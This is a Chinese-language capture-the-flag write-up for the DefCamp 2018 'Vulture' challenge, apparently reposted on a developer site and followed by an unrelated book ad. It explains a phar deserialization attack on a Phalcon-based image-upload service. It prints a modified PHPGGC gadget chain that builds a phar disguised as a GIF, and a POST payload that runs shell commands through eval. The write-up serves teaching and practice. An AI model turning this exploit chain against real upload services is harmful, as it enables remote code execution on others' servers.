内容简介:这是defcamp ctf 2018 vulture 的题解,使用的方法为利用phar拓展进行PHP反序列化攻击。打开网站后发现是一个图片留言板一类的东西,用户可以上传一张图片和描述图片的文字。经过测试后发现如果选择不存在的图片时会报
前言
这是defcamp ctf 2018 vulture 的题解,使用的方法为利用phar拓展进行 PHP 反序列化攻击。
We created an online service where you can upload pictures of vultures (or other birds). Each user has a feed so you can privately enjoy the photos you took of this majestic killing machines :) Target: https://vulture.dctfq18.def.camp/ Author: Anatol
打开网站后发现是一个图片留言板一类的东西,用户可以上传一张图片和描述图片的文字。
经过测试后发现如果选择不存在的图片时会报 Image not found
的错误。所以这里很有可能使用了 file_exists
去检查文件是否存在。
在知道创宇的一篇 文章 中提到过利用phar进行反序列化攻击的例子(这里不再赘述,建议直接看原文。)。而他的利用条件是:
在这道题中,题目的环境都满足利用条件。
在利用反序列化过程中需要找好可以任意代码执行的类,很显然,以目前的条件我们还得不到这样一个类。
当我们尝试访问一个不存在的页面时会爆出如下错误:
Exception: xxxController handler class cannot be loaded
Google后可以发现这是一个叫 Phalcon
的PHP framework,而网上还有一个利器 PHPGGC: PHP Generic Gadget Chains
,它可以为我们生成ROP Gadget,类似于pwn。
项目地址:https://github.com/ambionics/phpggc
而这个项目里就含有这个框架的gadget。
接下来我们修改 gadgetchains/Phalcon/RCE/1/chain.php
:
<?php namespace GadgetChain\Phalcon; class RCE1 extends \PHPGGC\GadgetChain\RCE { public $version = '<= 1.2.2'; public $vector = '__wakeup'; public $author = 'Raz0r'; public $informations = ' This chain does not expect parameters, will eval() any code supplied in php://input (i.e. POST data). Requires allow_url_include = true. '; # No parameters expected public $parameters = []; public function generate(array $parameters) { @unlink('phar.phar'); $p = new \Phar('phar.phar'); $p->startBuffering(); $p->setStub("GIF89a<?php xxx; __HALT_COMPILER();?>"); $p->addFromString("test.txt", "test"); $p->setMetadata(new \Phalcon\Logger\Adapter\File()); $p->stopBuffering(); return new \Phalcon\Logger\Adapter\File(); } }
使用 ./phpggc Phalcon/RCE1
得到exp:
可以看到生成的phar文件变成了GIF。我们将这个文件上传上去:
这里注意到结果是 false
但这并不影响我们使用,实际上已经上传成功了。
接着根据phpggc的提示:
This chain does not expect parameters, will eval() any code supplied in php://input (i.e. POST data). Requires allow_url_include = true.
所以我们只需在post body里写命令执行的代码即可:
<?php die(`ls -la`); /*ℑ=phar://uploads/5bb0ca3725e63.gif&text=123
这里注意需要在 image
的前面加 &
,不然会造成错误。接着我们直接cat flag即可。
参考链接
以上所述就是小编给大家介绍的《Defcamp(DCTF) 2018-Vulture phar反序列化攻击》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
游戏编程算法与技巧
【美】Sanjay Madhav / 刘瀚阳 / 电子工业出版社 / 2016-10 / 89
《游戏编程算法与技巧》介绍了大量今天在游戏行业中用到的算法与技术。《游戏编程算法与技巧》是为广大熟悉面向对象编程以及基础数据结构的游戏开发者所设计的。作者采用了一种独立于平台框架的方法来展示开发,包括2D 和3D 图形学、物理、人工智能、摄像机等多个方面的技术。《游戏编程算法与技巧》中内容几乎兼容所有游戏,无论这些游戏采用何种风格、开发语言和框架。 《游戏编程算法与技巧》的每个概念都是用C#......一起来看看 《游戏编程算法与技巧》 这本书的介绍吧!